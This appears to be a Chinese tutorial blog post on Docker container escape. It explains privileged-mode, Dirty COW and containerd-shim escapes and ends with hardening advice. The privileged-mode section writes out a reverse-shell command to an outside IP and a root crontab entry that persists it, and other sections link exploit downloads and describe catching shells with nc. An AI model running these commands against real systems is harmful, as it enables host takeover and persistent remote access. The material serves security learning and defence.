带你玩转docker容器逃逸

2023-11-28 09:27:22 浏览数 (2)

Part01 简述docker容器逃逸

什么是docker?

Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的镜像中,然后发布到任何流行的 Linux或Windows操作系统的机器上,也可以实现虚拟化。容器是完全使用沙箱机制,相互之间不会有任何接口。

什么是Docker容器逃逸?

Docker容器逃逸指的是攻击者通过劫持容器化业务逻辑或直接控制等方式,已经获得了容器内某种权限下的命令执行能力;攻击者利用这种命令执行能力,借助一些手段进而获得该容器所在的直接宿主机上某种权限下的命令执行能力。

因为Docker所使用的是隔离技术,就导致了容器内的进程无法看到外面的进程,但外面的进程可以看到里面,所以如果一个容器可以访问到外面的资源,甚至是获得了宿主主机的权限,这就叫做“Docker逃逸”。

如何判断当前机器是否为Docker容器环境?

1、如果根目录下存在.dockerenv文件,说明是在docker容器中。ls -al /

2、检查 /proc/1/cgroup 是否存在含有docker字符串

查询系统进程的cgroup信息,存在docker字段则是在docker容器中。

Part02 常见的逃逸方法

1、配置不当,例如:开启特权模式(privileged)、挂载Docker Socket逃逸、挂载宿主机procfs逃逸、Docker Remote API未授权访问逃逸;

2、系统本身内核漏洞问题,例如:CVE-2016-5195(脏牛 dirtycow-docker-vdso)。

3、Docker软件设计不当,例如:CVE-2019-5736(runc逃逸)、CVE-2020-15257(DockerContainerd)、CVE-2019-14271(CP缺陷);

Part03 常见的逃逸漏洞复现

3.1配置不当

3.1.1开启特权模式(privileged)

1、漏洞描述

运维使用特权模式启动的容器时(docker run --privileged),Docker将允许容器访问宿主机上的所有设备(获取大量设备文件访问权限),使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限。

因此docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,从而获取对整个宿主机的文件读写权限,然后可直接通过chroot切换根目录、写ssh公钥和crontab计划任务方法逃逸到宿主机。

2、漏洞验证

判断是否是特权模式启动,如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff。

cat /proc/self/status |grep Cap

3、漏洞利用

使用特权模式启动镜像docker run -itd --privileged ubuntu:16.04 /bin/bash

在docker容器内找个目录新建一个文件夹,然后将宿主机的根目录挂载到当前目录中(这里如果不存在特权用户,但docker容器配置不当-进行危险挂载,是同样的风险,之后可以用相同的利用方式)。

查看当前设备的所有分区内容和操作分区:fdisk -l(如果是非特权模式无法使用,可以通过df -h 获取磁盘信息)

将/dev/sda1挂载至新建的文件夹,这时候我们已经可以获取到宿主机的所有文件夹,可以任意读取修改宿主机的文件。进行挂载目录:

首先在kali中使用nc监听,进入到hacker目录,通过touch创建一个sh文件,再将bash反弹命令写入到创建的sh文件里面,在编写计划任务到/hacker/etc/crontab文件中。

echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh

echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab(每分钟执行一次)

返回到kali中进行查看,已成功接收到shell。

3.2系统本身内核漏洞问题

3.2.1CVE-2016-5195(脏牛 dirtycow-docker-vdso)

1、漏洞描述

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝存在竞争条件,允许恶意用户提权获取其他只读内存映射的写访问权限。当一个进程尝试写入只读页面时,内核需要将该页面复制到新的内存空间,并将其设置为可写,以便进程可以继续进行写入操作。

2、漏洞验证

Linux内核>= 2.6.22(2007年发行,到2016年10月18日才修复)

以下是主流发行版修复后的内核版本,如果版本低于以下,说明存在风险(主要是从2007-2016年间的Linux)。

uname -a

3、漏洞利用

拉取一个ubuntu14.04的镜像,内核版本4.4.0-31-generic。

进入镜像内安装下载相应环境

创建一个dirtycow-vdso文件并且把相应exp下载进文件里面(https://github.com/scumjr/dirtycow-vdso)

进入到dirtycow-vdso目录,编译

nc监听并执行编译文件

成功反弹shell

3.3Docker软件设计不当

3.3.1 CVE-2020-15257(DockerContainerd)

1、漏洞描述

Containerd 是一个控制 runC 的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。在特定网络条件下,攻击者可通过访问containerd-shimAPI,从而实现Docker容器逃逸。

简单来说就是:docker容器以--net=host 启动会暴露containerd-shim 监听的 Unix 域套接字。特定版本的Containerd未做权限控制,可以实现提权。

2、漏洞验证

containerd < 1.3.9

containerd < 1.4.3

当我们在docker内时如何判断当前容器是否存在风险?

是否能获取containerd-shim 监听的 Unix 域套接字:

cat /proc/net/unix|grep -a "containerd-shim"

3、漏洞利用

以--net=host 启动容器

直接下载exp并解压

https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

在kali中开启监听,并执行exp。

成功接受到shell

Part04 如何防止docker逃逸

1、避免使用特权模式启动容器,或者限制容器所需的最小权限;

2、避免将宿主机上的敏感文件或目录挂载到容器内部,或者使用只读模式挂载;

3、避免将Docker Socket文件挂载到容器内部,或者使用TLS加密通信;

4、及时更新Docker和相关组件的版本,修复已知的漏洞;

5、使用安全扫描工具检测和分析容器镜像和运行时环境;

6、使用安全策略和监控工具管理和保护容器生命周期。

0 人点赞